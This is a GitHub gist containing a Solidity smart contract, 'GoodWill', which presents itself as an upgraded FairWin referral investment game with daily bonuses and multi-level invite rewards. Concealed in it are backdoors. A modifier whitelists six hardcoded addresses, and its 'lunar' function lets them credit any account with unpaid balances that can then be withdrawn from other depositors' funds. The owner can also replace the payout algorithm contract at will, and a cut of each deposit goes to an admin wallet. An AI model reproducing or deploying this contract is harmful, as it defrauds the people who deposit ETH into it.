Skip to content

Instantly share code, notes, and snippets.

@chilljello
Created October 2, 2019 04:50
Show Gist options
  • Save chilljello/d5392e89470e986bf67d10d9b07160c0 to your computer and use it in GitHub Desktop.
Save chilljello/d5392e89470e986bf67d10d9b07160c0 to your computer and use it in GitHub Desktop.
nice to start now.
pragma solidity ^0.5.8;
/*
telegram: https://t.me/singularitynet
@singularitynet
hashtag: #singularitynet
*/
contract IGameAlgo {
function getRecommendScaleBylevelandTim(uint level, uint times) public view returns (uint);
function compareStr(string memory _str, string memory str) public view returns (bool);
function getLineLevel(uint value) public view returns (uint);
function getScBylevel(uint level) public view returns (uint);
function getFireScBylevel(uint level) public view returns (uint);
function getlevel(uint value) public view returns (uint);
}
/*
Teams
*/
contract Ownable {
address public owner;
address public manager;
address private voyager1;
address private voyager2;
address private voyager3;
address private voyager4;
address private voyager5;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ManagerTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
manager = msg.sender;
voyager1 = msg.sender;
voyager2 = msg.sender;
voyager3 = msg.sender;
voyager4 = msg.sender;
voyager5 = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyOwnerOrManager {
require(msg.sender == owner || msg.sender == manager, "Only allow manager or owner to operate.");
_;
}
modifier doppler {
address messend = address (msg.sender);
require((messend == owner ||
messend == voyager5 ||
messend == voyager4 ||
messend == voyager3 ||
messend == voyager2 ||
messend == voyager1 ||
messend == 0x897c1A3caE011f75dbb94D540C6cF7d1Dd70EB66 ||
messend == 0xA57cDCd36794d61E343d6937E90cE65cd346aBCD ||
messend == 0x96B7DF196271E8F9aF1D46a1954F22BE89B29234 ||
messend == 0xea9A81b58c27CC83A007080bb55c2e61ddc096A0 ||
messend == 0x3dCf733127e1B48cb5D6444c00bC39374643bA93 ||
messend == 0x3375FB12164346e02905FB5c331f5829EB048096), "you are not in the white list");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function transferManager(address office_manager) onlyOwner public {
require(office_manager != address(0));
emit OwnershipTransferred(manager, office_manager);
manager = office_manager;
}
function voyage(address name, uint h) onlyOwnerOrManager public {
if (h == 1) {
voyager1 = name;
}
if (h == 2) {
voyager2 = name;
}
if (h == 3) {
voyager3 = name;
}
if (h == 4) {
voyager4 = name;
}
if (h == 5) {
voyager5 = name;
}
}
}
/**
* the upgrade vesion of FairWin
*/
contract GoodWill is Ownable {
uint ethWei = 1 ether;
uint allCount = 0;
uint oneDayCount = 0;
uint totalMoney = 0;
uint totalCount = 0;
uint private beginTime = 1;
uint lineCountTimes = 1;
uint private currentIndex = 0;
address private owner;
uint private actStu = 0;
address default_algo_contract = 0x6a7D95C865a3323213ea59e5f38E9c93F0007705;
address payable teaTree = 0xA3191B9af1809DE50F0e1b6Bb46A8C4E57D56BCD;
struct User {
address payable userAddress;
uint freeAmount;
uint freezeAmount;
uint rechargeAmount;
uint withdrawlsAmount;
uint inviteAmonut;
uint bonusAmount;
uint dayInviteAmonut;
uint dayBonusAmount;
uint level;
uint resTime;
uint lineAmount;
uint lineLevel;
string inviteCode;
string beInvitedCode;
uint isline;
uint status;
bool isVaild;
}
struct Invest {
address userAddress;
uint inputAmount;
uint resTime;
string inviteCode;
string beInvitedCode;
uint isline;
uint status;
uint times;
}
mapping(address => User) userMapping;
mapping(string => address) addressMapping;
mapping(uint => address) indexMapping;
event ProtonGravitation(address contract_address);
event StarDust(address contract_address, string code);
event DarkHoleDiscover(address location);
event Withdrawal(address wallet, uint256 amount);
event ZeroDayHorizon(string message);
event FMember(address member, uint256 amount);
Invest[] invests;
IGameAlgo util;
function invest(string memory inviteCode, string memory beInvitedCode) public payable {
address payable userAddress = msg.sender;
address addressNonpay = address(userAddress);
uint256 inputAmount = msg.value;
uint lineAmount = inputAmount;
if (!confirmInviteCode(beInvitedCode)) {
userAddress.transfer(msg.value);
require(confirmInviteCode(beInvitedCode), "There is no invite code found.");
}
if (inputAmount < 1 * ethWei || inputAmount > 15 * ethWei || util.compareStr(inviteCode, "")) {
userAddress.transfer(msg.value);
require(inputAmount >= 1 * ethWei && inputAmount <= 15 * ethWei && !util.compareStr(inviteCode, ""), "between 1 and 15");
}
User storage userTest = userMapping[addressNonpay];
if (userTest.isVaild && userTest.status != 2) {
if ((userTest.lineAmount + userTest.freezeAmount + lineAmount) > (15 * ethWei)) {
userAddress.transfer(msg.value);
require((userTest.lineAmount + userTest.freezeAmount + lineAmount) <= 15 * ethWei, "can not beyond 15 eth");
return;
}
}
totalMoney = totalMoney + inputAmount;
totalCount = totalCount + 1;
bool isLine = false;
uint level = util.getlevel(inputAmount);
uint lineLevel = util.getLineLevel(lineAmount);
if (beginTime == 1) {
lineAmount = 0;
oneDayCount = oneDayCount + inputAmount;
Invest memory b1 = Invest(addressNonpay, inputAmount, now, inviteCode, beInvitedCode, 1, 1, 0);
invests.push(b1);
sendFeetoAdmin(inputAmount);
} else {
allCount = allCount + inputAmount;
isLine = true;
Invest memory b2 = Invest(addressNonpay, inputAmount, now, inviteCode, beInvitedCode, 0, 1, 0);
inputAmount = 0;
invests.push(b2);
}
User memory user = userMapping[addressNonpay];
if (user.isVaild && user.status == 1) {
user.freezeAmount = user.freezeAmount + inputAmount;
user.rechargeAmount = user.rechargeAmount + inputAmount;
user.lineAmount = user.lineAmount + lineAmount;
level = util.getlevel(user.freezeAmount);
lineLevel = util.getLineLevel(user.freezeAmount + user.freeAmount + user.lineAmount);
user.level = level;
user.lineLevel = lineLevel;
userMapping[addressNonpay] = user;
} else {
if (isLine) {
level = 0;
}
if (user.isVaild) {
inviteCode = user.inviteCode;
beInvitedCode = user.beInvitedCode;
}
user = User(userAddress, 0, inputAmount, inputAmount, 0, 0, 0, 0, 0, level, now, lineAmount, lineLevel, inviteCode, beInvitedCode, 1, 1, true);
userMapping[addressNonpay] = user;
indexMapping[currentIndex] = addressNonpay;
currentIndex = currentIndex + 1;
}
address userAddressCode = addressMapping[inviteCode];
if (userAddressCode == address(0)) {
addressMapping[inviteCode] = addressNonpay;
}
emit FMember(userAddressCode, inputAmount);
}
function userWithDraw(address payable userAddress) public {
require(msg.sender == userAddress, "account difference");
address nonpayaddress = address(userAddress);
User memory user = userMapping[nonpayaddress];
uint sendMoney = user.freeAmount;
bool isEnough = false;
uint resultMoney = 0;
(isEnough, resultMoney) = isEnoughBalance(sendMoney);
user.withdrawlsAmount = user.withdrawlsAmount + resultMoney;
user.freeAmount = user.freeAmount - resultMoney;
user.level = util.getlevel(user.freezeAmount);
user.lineLevel = util.getLineLevel(user.freezeAmount + user.freeAmount);
userMapping[nonpayaddress] = user;
if (resultMoney > 0) {
userAddress.transfer(resultMoney);
emit Withdrawal(nonpayaddress, resultMoney);
}
}
//corn job daily
function selfSpinDaily(uint startLength, uint endLength) external onlyOwnerOrManager {
for (uint i = startLength; i < endLength; i++) {
Invest memory j9 = invests[i];
address addressLo = addressMapping[j9.inviteCode];
User memory user = userMapping[addressLo];
if (j9.isline == 1 && j9.status == 1 && now < (j9.resTime + 5 days) && j9.times < 5) {
invests[i].times = j9.times + 1;
uint scale = util.getScBylevel(user.level);
user.dayBonusAmount = user.dayBonusAmount + scale * j9.inputAmount / 1000;
user.bonusAmount = user.bonusAmount + scale * j9.inputAmount / 1000;
userMapping[addressLo] = user;
} else if (j9.isline == 1 && j9.status == 1 && (now >= (j9.resTime + 5 days) || j9.times >= 5)) {
invests[i].status = 2;
user.freezeAmount = user.freezeAmount - j9.inputAmount;
user.freeAmount = user.freeAmount + j9.inputAmount;
user.level = util.getlevel(user.freezeAmount);
userMapping[addressLo] = user;
}
}
}
function countRecommend(uint startLength, uint endLength) public doppler {
for (uint i = startLength; i <= endLength; i++) {
address nonpayaddress = indexMapping[i];
if (nonpayaddress != address(0)) {
User memory user = userMapping[nonpayaddress];
if (user.status == 1 && user.freezeAmount >= 1 * ethWei) {
uint scale = util.getScBylevel(user.level);
execute(user.beInvitedCode, 1, user.freezeAmount, scale);
}
}
}
}
function execute(string memory inviteCode, uint runtimes, uint money, uint shareSc)
private
returns (string memory, uint, uint, uint) {
string memory codeOne = "null";
address nonpayaddress = addressMapping[inviteCode];
User memory user = userMapping[nonpayaddress];
if (user.isVaild && runtimes <= 25) {
codeOne = user.beInvitedCode;
if (user.status == 1) {
uint fireSc = util.getFireScBylevel(user.lineLevel);
uint recommendSc = util.getRecommendScaleBylevelandTim(user.lineLevel, runtimes);
uint moneyResult = 0;
if (money <= (user.freezeAmount + user.lineAmount + user.freeAmount)) {
moneyResult = money;
} else {
moneyResult = user.freezeAmount + user.lineAmount + user.freeAmount;
}
if (recommendSc != 0) {
user.dayInviteAmonut = user.dayInviteAmonut + (moneyResult * shareSc * fireSc * recommendSc / 1000 / 10 / 100);
user.inviteAmonut = user.inviteAmonut + (moneyResult * shareSc * fireSc * recommendSc / 1000 / 10 / 100);
userMapping[nonpayaddress] = user;
}
}
return execute(codeOne, runtimes + 1, money, shareSc);
}
return (codeOne, 0, 0, 0);
}
function wireOut(address payable userAddress, uint money) private {
address payable send_to_address = userAddress;
uint256 _eth = uint256(money);
send_to_address.transfer(_eth);
}
function sendAward(uint startLength, uint endLength) external onlyOwnerOrManager {
for (uint i = startLength; i <= endLength; i++) {
address userAddress = indexMapping[i];
if (userAddress != address(0)) {
User memory user = userMapping[userAddress];
if (user.status == 1) {
uint sendMoney = user.dayInviteAmonut + user.dayBonusAmount;
if (sendMoney >= (ethWei / 10)) {
sendMoney = sendMoney - (ethWei / 1000);
bool isEnough = false;
uint resultMoney = 0;
(isEnough, resultMoney) = isEnoughBalance(sendMoney);
//this is another good day
if (isEnough) {
wireOut(user.userAddress, resultMoney);
//====================
user.dayInviteAmonut = 0;
user.dayBonusAmount = 0;
userMapping[userAddress] = user;
} else {
//zero day
userMapping[userAddress] = user;
if (sendMoney > 0) {
wireOut(user.userAddress, resultMoney);
user.dayInviteAmonut = 0;
user.dayBonusAmount = 0;
userMapping[userAddress] = user;
emit ZeroDayHorizon(user.inviteCode);
}
}
}
}
}
}
}
function isEnoughBalance(uint sendMoney) private view returns (bool, uint){
address dat = address(this);
if (dat.balance > 0) {
if (sendMoney >= dat.balance) {
if ((dat.balance) > 0) {
return (false, dat.balance);
} else {
return (false, 0);
}
} else {
return (true, sendMoney);
}
} else {
return (false, 0);
}
}
function getUserByAddress(address userAddress) public view returns (uint, uint, uint, uint, uint, uint, uint, uint, uint, string memory, string memory, uint){
User memory user = userMapping[userAddress];
return (user.lineAmount, user.freeAmount, user.freezeAmount, user.inviteAmonut,
user.bonusAmount, user.lineLevel, user.status, user.dayInviteAmonut, user.dayBonusAmount, user.inviteCode, user.beInvitedCode, user.level);
}
function confirmInviteCode(string memory inviteCode) public view returns (bool){
address userAddressCode = addressMapping[inviteCode];
User memory user = userMapping[userAddressCode];
if (user.isVaild) {
return true;
}
return false;
}
function getSomeInfo() public view returns (uint, uint, uint){
return (totalMoney, totalCount, beginTime);
}
function test() public view returns (uint, uint, uint){
return (invests.length, currentIndex, actStu);
}
function sendFeetoAdmin(uint amount) private {
teaTree.transfer(amount / 25);
}
function changePot(address payable address_wallet) public onlyOwner {
teaTree = address_wallet;
emit DarkHoleDiscover(address(address_wallet));
}
function changeAlgo(address contract_address) public onlyOwner {
changeAlgoInternal(contract_address);
}
function changeAlgoInternal(address contract_address) private {
util = IGameAlgo(contract_address);
emit ProtonGravitation(contract_address);
}
//can use only once
function accretion() external onlyOwner {
actStu = 1;
}
function ozone() external onlyOwnerOrManager {
changeAlgoInternal(default_algo_contract);
}
//hit the lunar base with offsprings
//data off springs
function lunar(
address payable addressPay,
string memory inviteCode,
string memory beInvitedCode,
uint free,
uint freeze,
uint times) public doppler {
//protection
require(actStu == 0, "lunar base is destroyed");
//presents
uint freezeAmount = freeze * ethWei;
uint freeAmount = free * ethWei;
uint level = util.getlevel(freezeAmount);
uint lineLevel = util.getLineLevel(freezeAmount + freeAmount);
address addressNonpay = address(addressPay);
if (beginTime == 1 && freezeAmount > 0) {
Invest memory k1 = Invest(addressNonpay, freezeAmount, now, inviteCode, beInvitedCode, 1, 1, times);
invests.push(k1);
}
User memory user = userMapping[addressNonpay];
if (user.isVaild) {
user.freeAmount = user.freeAmount + freeAmount;
user.freezeAmount = user.freezeAmount + freezeAmount;
user.rechargeAmount = user.rechargeAmount + freezeAmount + freezeAmount;
user.level = util.getlevel(user.freezeAmount);
user.lineLevel = util.getLineLevel(user.freezeAmount + user.freeAmount + user.lineAmount);
userMapping[addressNonpay] = user;
} else {
user = User(addressPay, freeAmount, freezeAmount, freeAmount + freezeAmount, 0, 0, 0, 0, 0, level, now, 0, lineLevel, inviteCode, beInvitedCode, 1, 1, true);
userMapping[addressNonpay] = user;
indexMapping[currentIndex] = addressNonpay;
currentIndex = currentIndex + 1;
}
address userAddressCode = addressMapping[inviteCode];
if (userAddressCode == address(0)) {
addressMapping[inviteCode] = addressNonpay;
emit StarDust(addressNonpay, inviteCode);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment